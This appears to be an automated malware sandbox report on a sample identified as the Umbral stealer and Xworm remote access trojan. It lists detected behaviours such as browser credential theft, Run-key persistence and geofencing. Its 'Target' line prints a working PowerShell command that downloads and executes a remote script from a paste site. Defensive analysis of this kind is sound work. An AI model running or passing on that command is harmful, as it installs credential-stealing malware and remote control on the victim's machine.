Extracted

• • Target

    http://powershell "irm rentry.co/6ess6r2x/raw | iex"

  Score

  10^/10

  umbralxwormcredential_accessdiscoveryexecutionpersistenceratspywarestealertrojan

  • Detect Umbral payload

  • Detect Xworm Payload

  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral

  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm

  • Credentials from Password Stores: Credentials from Web Browsers

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer

  • Blocklisted process makes network request

  • Command and Scripting Interpreter: PowerShell

    Using powershell.exe command.

    execution

  • Downloads MZ/PE file

  • Drops file in Drivers directory

  • Checks computer location settings

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file

  • Executes dropped EXE

  • Reads user/profile data of web browsers

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer

  • Adds Run key to start application

    persistence

  • Legitimate hosting services abused for malware hosting/C2

  • Looks up external IP address via web service

    Uses a legitimate IP lookup service to find the infected system's external IP.

  behavioral1